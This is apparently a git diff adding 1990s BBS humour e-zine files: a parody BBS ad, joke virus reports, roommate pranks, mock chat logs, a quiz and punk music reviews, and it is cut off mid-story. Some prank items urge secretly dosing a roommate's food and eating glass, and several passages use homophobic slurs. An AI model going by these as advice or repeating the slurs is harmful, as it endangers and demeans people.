6.20 or higher. 32 megs of Ram and at least a 1 megabyte disk cache. +486DX2 processor minimum. Requires 20 nodes for installation. +2.88 meg floppy. 1.4 Terabytes storage (just for BBS) May need additional +space for files. 1280x1024 SVGA graphics. 65000 ISDN Blaster Modem. +1 case Exlax and approximately 8 days for ASSIMILATION. + +Features: + +Installation: +(Assimilation) +Comes with automatic Floppy changer for easier installation. +Installation features PKWare's new Compression algorithm that packs 1024 +bytes into 1 byte using vertical compression and virtual reality data. +Software has 1245 Floppies and Is now available in a convenient CD-ROM +format (requires 8 CD-ROM drives for minimum Operation). + +Configuration: + +BORGE features new DATALOC software ID recognition and locates all +Programs on HD . It then verifies if they are +registered and deletes all pirate software. Then New Assimilation(c) +technology deletes all dos files and Installs New BORGE operating system. +(Note: Configuration may require sysop to Major in Computer Software +engineering for 4 years and a bachelors in Programming) + +Files: + +When files are U/l'd. to the BBS the user is required to wait while the new +X-AMIN (c) Technology software system disassembles the file into code and +analyzes the Hueristics of the program. Then the program is reassembled +using new PKZips Bit smasher optimization algorithm. +Reduces file size by 70%. + +Any user U/L'ing a dangerous file such as a Virus will receive a 70000 watt +charge through the Phone line thus melting System into plastic door-stop. +(Not responsible for damage to Phone Lines or international switching +satellites or Users that are not grounded) + +In new version 1.01 the BBS determines if User needs a specific file +and allows transmission of file if it is deemed necessary to user based +on Logon questionnaires. This saves vital time online for People d/l +Useless files. + +Security: + +Users, If they pass initial phase of Logon will be asked a series of +1031 questions including SSN, Drivers License, Nationality status, +household info, Car registration, Eat habits, height, and weight. +It also requires the user to give other accounts and PW to other BBS's. +The BBS will use new users Passwords and BBS numbers and call other +BBS automatically and assess what type of board it is and examine +users mail for possible intelligence assessment. + +Next phase will require one week waiting period where the computer +access's FBI mainframe and preforms Full Background examination as +well as Credit reports and Job performance. Upon verification of all +Information the user is advanced to level 2 of authorization. +the system transmits a laser optical recognition system to the users +monitor (VGA required). It scans the users retina pattern and stores it. +(Not responsible for Retina damage or Random Monitor explosions) +Once Recognition is complete the user is required to place Hand on +monitor using New Fingersoft technology and the fingerprints are stored. + +Additional Features are described in: +"Cliff Notes for BORGE BBS Manuals" + + +Word Processors: +By Vince Lortho + +Geordi Laforge supplement +for WordPerfect 6.0, Word 3.0 +and Ami-pro 3.01 + +Paramount Entertainment Corp. +1 paramount st. +Paramount City, Ca +90210-0213 +Price:($450-$700) +1-800-ALL-CASH + +Overview: + +The Geordi Laforge supplement will help any user spice up ones reports. +It is designed to manipulate text to make the average user feel more +intelligent. It utilizes a new method called BS-THESAURUS (c) and replaces +ordinary words with more complicated words. See below. + +"The electric passes through the circuit card and then it sends a signal to +the electrode that causes the light to glow when the user turns on the +computer." + +Now activate the Laforge Utility and heres the result: + +"Once the impulse from the user is sensed by the tripolymer coated switching +system in the imbedded sensor matrix it activates the isolinear optic +system that results in an internal tachyon discharge to the onboard nano- +processing chip which emits EM radiation to the Electo-transthermal +inducer that cause the gaseous core to ignite and radiate." + +As one can easily see that the second paragraph is of a higher technical +level and will result in people taking you seriously. + +(Note: Not to be used when Reality or when facts are concerned.) + +If you have a new product you want to advertise or you made up +something completely ludicrous and stupid then contact me on the +the boards located at the end of the file. + +------------------------------------------------------------------------ + +New unusual virii discovered this year so far. + +By Tom Leats + +Virus Name: Farside +Alias: Sunday Paper virus +V Status: Rare +Discovery: January 1994 +Symptoms: System files missing, Dos is sometimes missing and + reappears computer hangs and strange insects found + dead inside computer. +Origin: Outerspace +Eff. Length: 1 - 10,038,323 bytes +Detection method: Like you couldn't tell. +Removal Instruction: Just throw computer away or send $100 to John Mcafee + +General Comments: + The Farside Virus activates on every Sunday morning at about 8:30 a.m. and + Images of fat children with glasses appear on monitor. System files are + sometimes deleted and replaced with MacIntosh Files. Computer will slow + down comparable to Tandy Color Computer with Tape Drive. Computer also + becomes infested with talking cock-roaches and Snakes. + +Variations: + + Garfield Virus +Same as above except that stripes are seen on monitor during Dinner hours. + + +FIDO VIRUS +By: Vince Lortho + +Virus Name: FIDO +Alias: woof,woof; Redrover; Cajo +V status: Research +Discovery: Today 12:34 p.m. +Symptoms: Computer fetches files that are deleted and displays them. + Other symptoms see below. +Origin: Fido_net conferences +Eff Length: 100 - 101 bytes. +Detection Method: Unknown. +Removal Instructions: Shoot infected files. + +General Comments: + The Fido Virus is extremely interesting. The virus doesn't do any actual + Damage to the Computer except that It is impossible to delete files. + The interesting aspect of this virus is that sends a high pitch Sound + through the PC speaker or Sound device and causes users animals to go + Crazy. A case in Cleveland had a Pit Bull that attacked and killed 17 + Users of an Infected BBS. Only disinfection known is to kill animals or + tear out PC speaker and buy a bigger HD for all the files you can't + delete. + +Variations: + Batcall virus. + +This virus was isolated in Transilvania and causes bats to attack users +When computer is turned on. Research is Continuing. + +------------------------------------------------------------------- + +Question: A circle has Infinite points. How many points does +a half-circle twice as large contain? + +------------------------------------------------------------------- + + +Heres some Taglines you'll want to steal. If you write a good one don't post +it to me. I'll steal it and put it in the mag. Keep it to yourself. + +"Geordi, I cannot stun my cat." + + +Is it time for a colorful Metaphor? + + +8 of 10 people suffer hemorrhoids the other 2 enjoy them. + + +Your proctologist called and your head is ready. + + +³ºÞº³º³Û³ºÝ³ºÝ³³ <- Will "Hooked on Phonics" teach this? + + +Conservative: (n) Liberal who has been mugged. + + +"The answer to the Great Question is 42." + + +We need safer guns and safer bullets--Josilyn Elders + +------------------------------------------------------------- + + Are you lonely and want your profile here? +Are you a software company that wants to send me a free copy of your +$500 software and want me and my expert staff to review it for you here. +Mastercard/Visa/Amex/Carta Blanche/Discover/MO/Checks/Cash/Bribes/Pay-offs. +accepted always. +__________________________________________________________________________ + + + 50 Ways to mess with Your Roommate + +I found this file on a local BBS. I thought it was hilarious because +I used to do this stuff all the time and I lived alone. Feel free to let +me know anything you have done. I added some of my own. You can tell they're +mine because an "*" will appear before them. + + +1. Smoke jimson week. Do whatever comes naturally. + +2. Switch the sheets on your beds while s/he is at class. + +3. Twitch a lot. + +4. Pretend to talk while pretending to be asleep. + +5. Steal a fish tank. Fill it with beer and dump sardines in it. Talk +to them. + +6. Become a subgenus. + +7. Inject his/her twinkies with a mixture of Dexatrim and MSG. + +8. Learn to levitate. While your roommate is looking away, float up +out of your seat. When s/he turns to look, fall back down and grin. + +9. Speak in tongues. + +10. Move your roommate's personal effects around. Start subtly. Gradually +work up to big things, and eventually glue everything s/he owns to the +ceiling. + +11. Walk and talk backwards. + +12. Spend all your money on Jolt cola. Drink it all. Stack the cans +in the middle of your room. Number them. + +13. Spend all your money on Transformers. Play with them at night. If +your roommate says anything, tell him/her with a straight face, "They're +more than meets the eye." + +14. Recite entire movie scripts (e.g. "The Road Warrior," "Repo Man," +"Casablanca") almost inaudibly. + +15. Kill roaches with a monkey wrench while playing Wagnerian arias +on a kazoo. If your roommate complains, explain that it is for your +performance art class (or hit him/her with the wrench). + +16. Collect all your urine in a small jug. + +17. Chain yourself to your roommate's bed. Get him/her to bring you +food. + +18. Get a computer. Leave it on when you are not using it, turn it off +when you are. + +19. Ask your roommate if your family can move in "just for a couple +of weeks." + +20. Buy as many back issues of Field and Stream as you can. + +21. Fake a heart attack. When your roommate gets the paramedics to come, +pretend nothing happened. + +22. Eat glass. + +23. Smoke ball-point pens. + +24. Smile. All the time. + + +26. Burn all your waste paper while eyeing your roommate suspiciously. + +27. Hide a bunch of potato chips and Ho Hos in the bottom of a trash +can. When you get hungry, root around in the trash. Find the food, and +eat it. If your roommate empties the trash before you get hungry, demand +that s/he reimburse you. + +28. Leave a declaration of war on your roommate's desk. Include a list +of grievances. + +29. Paste boogers on the windows in occult patterns. + +30. Shoot rubber bands at your roommate while his/her back is turned, +and then look away quickly. + +31. Dye all your underwear lime green. + +32. Spill a lot of beer on his/her bed. Swim. + +33. Bye three loaves of stale bread. Grow mold in the closet. + +34. Hide your underwear and socks in your roommate's closet. Accuse +him/her of stealing them. + +35. Remove your door. Ship it to your roommate's parents postage due. + +36. Pray to Azazoth or Zoroaster. Sacrifice something nasty. + +37. Whenever your roommate walks in, wait one minute then stand up. +Announce that you are going to take a shower. Do so. Keep this up for +three weeks. + +38. Array thirteen toothbrushes of different colors on your dresser. +Refuse to discuss them. + +39. Paint your half of the room black. Or paisley. + +40. Whenever s/he is about to fall asleep, ask questions that start +with "Didja ever wonder why . . ." Be creative. + +41. Shave one eyebrow. + +42. Put your mattress underneath your bed. Sleep down under there and +pile your dirty clothes on the empty bed frame. If your roommate comments, +mutter "Gotta save space," twenty times while twitching violently. + +43. Put horseradish in your shoes. + +44. Shelve all your books with the spines facing the wall. Complain +loudly that you can never find the book that you want. + +45. Always flush the toilet three times. + +46. Subsist entirely on pickles for a week. Vomit often. + +47. Buy a copy of Frankie Yankovic's "Pennsylvania Polka," and play +it at least 6 hours a day. If your roommate complains, explain that +it's an assignment for your primitive cultures class. + +48. Give him/her an allowance. + +49. Listen to radio static. + +50. Open your window shades before you go to sleep each night. Close +them as soon as you wake up. + +*51. Go buy some of those little wine shots (the ones that look like +real bottles like the ones you get on first class flights) Run around with +them in your hands shouting "I'm a giant, I'm a giant!" + +*52. Type on your computer "All work and no play make a dull toy" +10000 times. + +*53. Pick up the phone when it doesn't ring and start laughing and say +"He'll never know what hit him." while looking at your room-mate. + +*54. Call your apartment from a payphone and ask for yourself. Do this every +hour. + +*55. Start a cock-roach collection. Keep them in your room-mates socks. + +*56. Plant a small tree in the toilet. + +If you have one let me know. + + + + +Heres tonight's top ten list. From David Letterman's show. +Sorry, I'm a little behind + + + +Top 10 Ways To Annoy a Flight Attendant - August 26, 1992 + +10. Make loud propeller noises with your mouth for duration of flight. +9. Ask for blanket, run up and down aisle pretending to be a ghost. +8. Giggle uncontrollably each time she says "duty free." +7. Maintain emergency landing position for entire flight. +6. Date her for 12 years, put her in all your movies, then start dating + her daughter. +5. Push call button. Ask for pancakes. Repeat. +4. Hypnotize seat mate into not returning tray table to original and + upright locked position. +3. Ask whether Salisbury steak can be used as flotation device. +2. Fill air sickness bag with coleslaw. Toss at movie screen. +1. Keep calling her "Mommy." + +_______________________________________________________________________ + +THE MCDONALD STORY +By Don Karnage. + + + I went into a McDonald the other day, peckishly famished. At the register + stood a bored looking young man. "Give me one of those." I said, pointing at a + colorful picture on the menu board that showed a burger of some sort. + + "Sir, I'm afraid you're going to have to leave your dog outside." he said, + eyeing King, my beautiful German Shepard/Rottweiler. + + "Nonsense." I said. "I'll do no such thing. He's a loyal friend and besides, + he is hungry as well." The kid eyed King again, looked back up at me, and + went to get his manager. "Ahhh!" I thought. Good idea. Surely the manager + would know what to do. + + To my horror, the manager kindly (but rather sternly) informed me that dogs, + (unless they were seeing eye dogs) were not allowed in the restaurant. I + told him, that, as a visitor to this country and a gentleman, I understood + his delemmia, but asked if he could look the other way just this once. + + My British charm had no power here. He repeated that I was to leave the dog + outside. "The only dog I see." I countered, "Is you, and that damned boy you + call an employee!", and, leaping over the counter, I grabbed the man by his + tie and told him about manners and the treatment of guests in this country. + I received my food about half an hour later. + + I had just about finished half of my sandwich before the police arrived. + "Damnation!" I cried, "Police that carry guns! Cowards!" I called to King + to attack one of them, whereupon one of the policeman pulled a gun and shot + King dead. I was escorted directly to jail, released after 2 days on a + thousand dollar bond, and was fined five thousand dollars. + + Now I ask: Is this the kind of thing we well groomed Brits can expect from + you colonist savages? +_____________________________________________________________________ +Story Written by Don Karnage. Don is an eccentric psychopath that +has decided to stalk the BBS scene and cause general mayhem. Other +than that he is a Teacher at a local nursery school and a Moonie. +He is sometimes mistaken as a lemur. 01-21-94 19:23 hours +---------------------------------------------------------------------- + + First Issue. +The first issue is complete. I am satisfied with the outcome even though it +stunk. It will be tens time better in the next issues and As long as people +send me humor it will continue to be your favorite publications. +------------------------------------------------------------------------ + +Word of the Month. + +°±±²² TETRAHYMENA ²²±±° +Use this word in a sentence you would have with a priest. +The most Creative sentence will be posted next month. + +_______________________________________________________________________ +Question of the Month. + +What are the lyrics to the Star trek theme in the old series? + +----------------------------------------------------------------------- + + +So you want send me mail, a comment, death threats, Dead animals in shoe +boxes or anything else. We cannot return anything unless you send us a +SASE with a reason why. Make sure the words "permission to reprint" on +anything you want posted. I will answer all data mail and most parcel mail. +I forgot to pay my PO box so I don't have my address up yet. No wonder +I haven't been getting any mail lately. +I do not have an internet account yet so hold tight internet users. +If The account isn't set up yet on a certain board then its the sysops +fault. Call a better board. + +Places I can be reached: + +Board Phone number: My account: +Wolverines lair (513)422-9652 USR HST DS Elric + +CCS (513)424-2495 Boca 14.4 Bad Sector + +Hole (513)420-9917 (node 1) Elric + (513)420-9841 (node 2) + (513)420-9956 (node 3) + +J&J's BBS (513)233-0917 (5 lines) Bad Sector + + +Personal Payphone (513)743-9324 Ask for Piss Boy +or COCOT: + + You can find me anywhere else as Elric. + I often dress up like My Hamster and hang out + at K-mart. So come and get a good buy. + + If you give over $100.00 donations I will write a two page + Add-on how much of a great person you are and give you a floppy disk + Chock full o' Bad Sectors. + + +Disclaimer +---------------------------------------------------------------------- +This product is meant for educational purposes only. Any resemblance to +real persons, living or dead is purely coincidental. Void where +prohibited. Some assembly required. List each check separately by bank +number. Batteries not included. Contents may settle during shipment. +Use only as directed. No other warranty expressed or implied. Do not +use while operating a motor vehicle or heavy equipment. Postage will be +paid by addressee. Subject to CAB approval. This is not an offer to +sell securities. Apply only to affected area. May be too intense for +some viewers. Do not stamp. Use other side for additional listings. For +recreational use only. Do not disturb. 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Record +additional transactions on back of previous stub. + +This supersedes all previous notices. diff --git a/textfiles.com/magazines/MISC/bs0594t.txt b/textfiles.com/magazines/MISC/bs0594t.txt new file mode 100644 index 00000000..ee3348b7 --- /dev/null +++ b/textfiles.com/magazines/MISC/bs0594t.txt @@ -0,0 +1,680 @@ +c:\186to586.exe +Bad Sector(s) on disk C:\ +Sector(s) Not found +(A)bort (R)etry (G)et a real computer. + + Datawaste Productions + Is + Proud to Present: + + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + ÛÛÛÛÛ°°°°°°±±±±±±²²²²²²ÛÛBAD SECTORÛÛ²²²²²²±±±±±±°°°°°°ÛÛÛÛÛ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + °°°°°°±±±±±²²²²ÛÛIN STEREO WHERE AVAILABLE!ÛÛ²²²²±±±±±°°°°°° + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛISSUE IV VOLUME I SERIES IÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + + A feeble attempt at humor vaguely related to anything + dealing with the online community. + + + STAFF + + Editor in chief and + Man in the Angry Chair: Vince Lortho, Elric, + Vocus Sadri, Lord of Vabul + White Oppressor, Selectively + perceptive mental explorer. + + + Submitting Writers: + Carl Sagan + Anne Rice + Wesley Crusher + Shakespeare + My Mom. + + + + + +Volume 0 May 1994 Number 0D +1 Blah, Blah +2 BAD SECTOR Successful. +3 Are you a GIF Freak? +4 Chat logs of a madman. +5 Day in the life... +6 top 10 +7 taglines +8 credits + + +BAD SECTOR successful. + + BAD SECTOR has been out for two months now and the success of +the mag is more than this author expected. Despite the two week delay +in the first issue for no apparent reason everything is going well. +This writer had to write or find all the articles because no one has +submitted anything. + +A person known as Don Karnage (02/94; McDonald) submitted a story. +Don is also serving twelve years for flogging his parents to death +with two sticks of Beef jerky. This author had to write the other +articles with pseudonyms as to make it appear that all kinds of +authors and writers are submitting. + +The first issue was slightly humorous. Having vowed to make each issue +funnier and funnier, this historian feels the second issue is quite +humorous. + +The one problem that may face this magazine is possible copyright +infringement. Once and awhile a text file will come across my computer +that must be shown to the world. Having no legal knowledge or expertise +this writer feels that it's OK. If anyone read the second issue, one +will see a scoring article about the FBI and computer crime. There was +no copyright notice on the news article and believe that since the +numbers were so far off from reality that it may be considered fantasy +or fiction (see 03/94) or possibly written on another planet in a + galaxy + far, far away. + + This Male Lesbian is going to make some changes around here. A +new reader format for instance and all sorts of little neatism's. A +flesch-reading ease score for every article and a Gunnings Fog index. +The grade level of each article will be displayed after each article +in the bottom left-foot corner. + + A friend of this astronomer will be posting this magazine on +internet. Having no experience with internet or care this journalist +hopes that it increases the popualrity of the magazine. +This mag is a big hit in Belgium and a small villiage in Hungry. They +even translate it and put it in the paper. Two days later, however, +the villiage was hit by a freak typhoon. The people in belgium finally +figured out it was in english. + +Note: The repeated references by this writer to himself as a third +person is to eliminate using "I" and because this researcher is insane. + +Flesch Reading Ease: 72 +Flesch-Kincaid Grade: 7 +Gunnings Fog Index: 9 + + +Are you a GIF Freak? +by Vince Lortho + +Answer this questionnaire and determine if you are a GIF freak. If you are +viewing an X-rated GIF now then go to the end with a perfect score of 100. +Note: The use of GIF is symbolic of all images, Dead or Alive. + +1. (10 Points) Do you have a special Hidden Directory for your GIF's? + A. Yes, I have a directory for each Letter in the alphabet. (10 Pts) + B. Yea, I have a hidden directory, Don't tell my mom! (7Pts) + C. I have a few GIFs but they are on floppy's. (5pts) + D. What's a directory? (0 pts- 0 IQ: go home and pet the dog.) + +2. (15 points) When you D/L GIF's do you constantly run out of time? + A. No way. I payed 2000$ for an ISDN 65000 Blaster Modem and + An agreement with the sysop for constant 12 hour D/L. (15pts) + B. Nah, I bought a Cd-rom and have it on constant slide mode (10pts) + C. Yea, I type *.* at the D/l prompt and it hung up. (8 pts) + D. What's A GIF. I like it with Bread and tarts! (Get the gun) + +3. (15 points) How many Megs of storage do you have for your GIF's? + A. I have a Tandy Color Computer. What's a MEG? (0 pts) + B. I have all my unlabeled floppies full and some of my HD full.(8pts) + C. I bought another HD for them. I luv dem pretty girles.(10 pts) + D. Hell, I bought a Bernoulli 1 Gig optical drive and + a Crey computer system with a direct power line to a nuclear + reactor. (15pts) + +4. (20 points) What type of GIF's do you d/l? + A. I like GIF! It tastes good! (see Question 2 answer d) + B. Only ones with the word Must See! in it. (10pts) + C. I d/l a complete series. 00000001.GIF - 99999999.GIF. (15pts) + D. *.* (20 pts) + +5. (20 pts) Do you have a life? + A. Yes, I'm a successful Business man with a Jaguar XLT (1pt) + B. Nah, I had a girlfriend once but I found out she was a + Barbee with no head. (10pts) + C. I stopped breathing in 1973 (15pts) + D. My name is PeeWee. (20pts) + +6. (Bonus!) Check as many of these that apply! (5pts each) + 1. I call LD to get those GIF's. I love them things. + 2. I went into debt paying for adult access on the BBS's + 3. I have GIF's and print them on my dot-matrix printer + and mail them as Christmas cards to my GIF support group. + 4. I bought a bigger monitor so I could see it all at once. + 5. I have every GIF ever made. + 6. I like to take pictures of my Butt.(10 pts) + + +Summary of scores. + +0: The minimum score is 0. If you don't have any then your exempt. + +1-30: You are slightly disturbed. There may be hope yet. Delete them + all and go confess. You're not a pervert but a lonely person that + needs to get out more often. You have your Dads playboys under + your mattress. + +31-50: You may be a pervert. There may be a history of GIF's in your + family. You have special times when you view them and even have + a secret drive for them. You also have adult access on the + local Bible board. + +51-115: You are beyond help. Keep on D/l'ing. Nothing can stop you. + You probably have a CD-ROM and sit real close to the monitor + and pretend your in there. Your Idea of a good time is a night + with the New "Big Booties" CD-rom. + +Remember Choosey Perverts Chose GIF! + +F.R.E.: 82 +F.K.G.L.: 4 +G.F.I.: 6 + + +Chat Logs Of a Madman with a defective pager. +by Mark Spigman + +CHAT LOG OPENED 031694 23:12 + +The Sysop is here + +UH..DO YA HAVE THE FILE DASMEASD.ZIP and FAKSMDF1.gif and +SPHABSD2.ZIP + +What? Did you them it on here? + +UH, I DIDN'T SEE IT. I THOUGHT YOU KNEW WHERE IT WAS. + +Its in the section called Hidden files. + +UH, OK. I"LL LOOK AGAIN. + +bye +/q +CHAT LOG CLOSED 031694 23:14 +<> + +CHAT LOG OPENED 031794 02:42 + +The Sysop is here. + +Hi! I just wanted to tell you that I want adult access or higher access. +<> +Wgat tiem is it/ + +What? Are you ok? +fffffffffffffffddddddddddddddddddddddddddddddddddddddddddd +dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd +ddddddddddddddddddddddddddddddddddddddddddddddddddddddasdddd +ddddddddddddddddadsssssssssssssssssssssssssssssssssssssssssssssssssssssss +ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss +sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss +ssssssssss.... +NO CARRIER + +CHAT LOG CLOSED 031794 02:47 + +CHAT LOG OPENED 031794 04:23 + +The Sysop is here. + +yea. I was checkin if you were there. + + + + + + +hello. is anyone over there. I see you. Come on. Hello! + + + +You are a bad sysop. This place sucks. I hate your Board. You are lame. I +am calling the feds and telling them you have kiddie porn. Where are you. +Your mom said hi. I'm going to kick you ass if you don't answer. +djasfhkjdsadsjkfhasdjkfhdsajklfhadsjkfsdjkfdsajklfgd +I'm going to wait until you answer. +/page +/s +/exit +/x +Hey how do I get out of here? +/quit +quit +bye +GET ME OUT OF HERE! +Fine i'll wait until you answer! +You are GAY! I'm Talking to the feds now. I have a capture of Your board +and you had SIMcity on here. I got a capture. Hold on I'm talking to Bruce +Williams of THE FBI. Your Busted. +fdsl;gkdl;fkgs'dgkds;'gk;'gkd;flgk;dslfgk'kgk'g;kg'kkgklfdgdsfgdsfg +gsdfg;kdjfglkdfjgfd;jglkfjdgskl;djfglkjdfl;gkjfdlgjlkgjsdlkfjglkdfjg +dfso;eirhuogfajgl;fhdsgj;dfhgjklshfdlslfdkgkldfjglkdsfjglkdjfgkldjf. +Hey man What are you doing? +You are a loser fag! + +< + + "Ah, shit." + + + + "Anyway.. I feel bad for the hip-hop thing that 'Cannonball' has, + because we're stealing that aspect of black culture from its + originators." + + + + + +------------------ +1.03 Slam List +------------------ + + Scorn, hate, spit upon, curse. These things, that is: + + * Teenybopper BBSes run by 13-16 year olds who think they're hot + shit (in our area, at least) + * My old high school + * church + * The recent morality attack America has suffered (import porn is + the way to go..) + * Paul Westerberg + * Top 40 Radio + * Whoever the dumbass was who claimed that Kurt Cobain was on the + same level as Darby Crash + * Frank Black + * The 90's, because it already looks like this decade is going to + fellate donkeys + * Anyone who calls the '90s "The Grunge Generation" because there's + too goddamn many people who want no part of being called that + * Major labels, because they're fucking killing the industry + * Neanderthal men who had nightmares that they were playing the + Brad Pitt role in "Thelma And Louise" + * Madonna, because she's pretty much showed all she can show and it + ain't getting any better + +---------------------------- +1.04 White Punks On Punk +---------------------------- + + We reserve the right to review things old AND new. New to us, in + our minds = new to you, as well. + + Music: + + _Strong Reaction_ - Pegboy (MS) + -------------------------- + All I knew when I got this was that there was an ex-Naked Raygun + guitarist in this band. I found out, after listening to it, that + it's a hell of a great album. The title track, which kicks it + off, has an awesome mix that basically makes it all very very + LOUD. (Nods to Iain Burgess.) "Strong Reaction" and "Field Of + Darkness" were my favorite tracks from this one, mainly because of + their somewhat traditional 'core sound. "Field of Darkness" was + slightly different.. kind of like the Clash meets Big Black and + manages to make the song sound mostly like them. (Does that make + ANY fucking sense?) + Advice: Play it LOUD, as all good hardcore is meant to be + played. + (The CD also contains the _Three Chord Monte_ EP.) + + - 1/4 Stick Records/Touch-N-Go + + + _Last Splash_ - The Breeders (MS) + ---------------------------- + I could spend the entire review raving about how beautiful the + Deal sisters are. I could easily do that, but what would be the + point of this being an album review rather than a text version of + toned-down locker room conversation? So, here goes.. + The sound of the album is a lot more refined than the stark, + basic sound that greeted _Pod_'s listeners in 1990, yet manages + to add an all-around "hey-we're-in-the-studio-let's-party" + atmosphere, evidenced by the (overplayed) single/video + "Cannonball". (I really didn't notice the "hey now" during the + "in the shade" part, is what's sad.) + Seems like the group's tighter now than on _Pod_, since Tanya + Donnelly left to go form Belly and Shannon Doughton left + (presumably to go back to Slint.. hell, I dunno). Doughton was + replaced by Jim MacPherson, nicked from a Dayton band by Kim Deal, + and Tanya was replaced by Kelley Deal, who (as if this hasn't been + overstated by many a shocked MTV/Rolling Stone pawn) had no + idea how to play guitar when she joined for the _Safari_ EP (which + is out of print last I checked and which I keep forgetting to buy + when I'm in Indy). + In my own personal opinion, this is a hell of an album. Don't + let the fact that Kurt Cobain likes the band sour you on them, + if you're not a big fan of Nirvana (or Kurt himself, for that + matter.) + + - 4AD/Elektra + + _Red_ - King Crimson (MS) + -------------------- + Okay, so I'm about 19 years late in reviewing this one. I just + discovered this group two months ago, give me a break. + Anyway. King Crimson went through about five lineup changes + (give or take) before they reached the _Red_ lineup, that of Robert + Fripp (guitar), John Wetton (bass, vocals), and Bill Bruford + (drums, percussion). This incarnation is, and always will be, my + personal favorite. Only the early '80's version comes close, but + only because I think Adrian Belew is cool. + The title track is the album's opener, a complex + progressive/metal instrumental in some weird guitar tuning that no + one I know can figure out. But, IMO, the best track on the album + is "One More Red Nightmare", with occasionally indecipherable + lyrics, and some interesting percussion. + In summary, if you can find it, get your hands on it and don't + ever let go. Something else that's fun to do is try to find + Fripp's pre-Crimson album, _The Cheerful Insanity of Giles, Giles, + and Fripp_, and listen to it, then listen to _Red_. Those who + have heard both will understand the humor of my suggestion. + + - EG Records (orig. Atlantic) + + +-------------------- +1.05 Fuck School +-------------------- + + There comes a time in the life of every student when they must + say, "Fuck school!" Perhaps such an event is a direct result of + being taunted beyond human endurance, as in the case of Rodney + Flarg, from Backwoods, IN: + + "One day, as I was walking to class, this group of jocks ganged up + on me and forced me to worship their stinky shoes. So I decided + I'd had enough, and jumped the leader and beat the crap out of + him.. I can say 'crap', can't I? And the school suspended ME, for + fighting. So, I had to say.. 'F--.. er, SCREW school!" + + Uh, yeah, Rodney.. cut down on the caffeine pills. In another + case, that of Monkey-Face (a pseudonym; real name withheld by + demand), also of Backwoods, grades can be a real problem: + + "Me no smart. Me no get good grades. Me eat schoolbooks; only + Home Ec book taste good. Wonder why." + + Down, Mongo. + + Our final example is that of Joe, of that famous Backwoods TV + program, "Cooking With Joe", who succinctly summarizes his point: + + "Getting up every day and dragging your ass to school is a real + fucking drag." + + We hope that these examples have given you the courage to simply + stand up and say, "FUCK SCHOOL!" + +------------------------------------------ +1.06 Clinton and the Music Underground +------------------------------------------ + + By 1996, by our prediction, the only music allowed to be played in + the United States will be saxophone music, reflecting His + Cluelessness's affinity for the somewhat phallic instrument. In + some circles, it is said that playing the sax is the only thing + Clinton can do without his wife or a friendly Cabinet member + pulling his strings, but this is far from relevant to the current + point. + + By such a decree, major corporate machines will be put to pasture, + and only the independent labels will survive.. albeit illegally. + Imagine this: a world in which you have to go to an "album + pusher" to get the newest Bad Religion or Spooners album. If this + thought in itself is not frightening enough, consider the decreed + punishment for only BUYING the music: locked in a room in the + White House and being forced to listen to Bill's saxophone + playing, fully coherently, 24 hours a day. Such a torture would + quickly make a sane man into a babbling, mindless fool. + + Frightened? Scared? Guilty because you voted for him? One way + to repair it now: Impeach the fucker. Say it loud and proud (but + without a gun in your hand, because then they'll have an excuse to + arrest you): IMPEACH THE FUCKER. + + Thank you, and good remainder of term. + +------------------------------------ +1.07 Cooking With Joe (A Review) +------------------------------------ + + Well, this popular Backwoods cooking show sure brings out the + usual sense of watching two guys fuck around in a kitchen, making + a mess, and being entirely too camera-conscious. This, of course, + is the show's appeal. Joe and Bill's apparent fear of the camera + make for some wild moments, as their notably halted motions cause + all kinds of trouble for the stalwart pair. + + Joe and Bill seem to spend every week's show trying to make toast. + When, at the end, the finished product is brought out, it's + declared either too light or too burned to be proper toast. + Occasionally, there will be the perfect toast, but Joe will move + haltedly toward Bill, grab the toast out of his hand, and take a + huge bite out of it, and smile at the camera, shakily. + + Why simply toast? We may never know. Why never right? Joe and + Bill are a dying breed; Joe and Bill are culinary perfectionists. + No wonder Joe takes such a bite out of the "right" toast on the + rare occasions it is made.. he has earned it. For that matter, so + has Bill, who restrains himself. May this country one day + recognize the value of these two men, and may it repay them for + their toasty contributions! + +-------------------------------------------------------------------- +1.08 The Day Punk Rock Came to Parnellville (Part I of a Series) +-------------------------------------------------------------------- + + (fiction by Matt Shaw) + + My cousin Tony had always been a rather unassuming type. In + school, he never got called on; seemed like the teachers just kind + of forgot he was there. So did the students, fortunately for + Tony. If the tougher types had realized the existence of a human + such as Tony, they would have instantly fell upon him like a pack + of really stupid lions. + + At home, he had to remind his parents of the fact that he lived + there. I remember one Thanksgiving that Aunt Vicky looked at + Tony, her own son, and said, "Excuse me, are you lost?" I had had + to remind Aunt Vicky that time. Usually, Tony was able to + convince them well enough, and usually, Uncle Tim would accuse + Aunt Vicky of fooling around with the milkman, because, as he + would say, "the kid sure ain't mine!" Uncle Tim usually had a + bottle of Corona in each hand when he began these rants. + + Finally, after about 16 years of being nearly invisible, Tony + couldn't contain himself any longer, and exploded one night. + "Look, you stupid hicks," he yelled at Aunt Vicky and Uncle Tim, + "I refuse to be invisible any more. I'm going to do something, + and it's going to be soon. Something that will make sure no one + will EVER forget me again." And he stormed out of the house. + + Uncle Tim looked at Aunt Vicky, and said, "Who the hell was that?" + + Aunt Vicky looked up and said, "Who, dear?" Uncle Tim just shook + his head. + + Somewhere, right now, in some collector's glass case, there sits a + Fender Jaguar, one of the world's.. weirdest guitars. I hear that + the annoying guy from that Nirvana band plays one now, or + something to that effect. Anyway, years ago, Tony went to buy + himself a guitar, and brought one home.. the 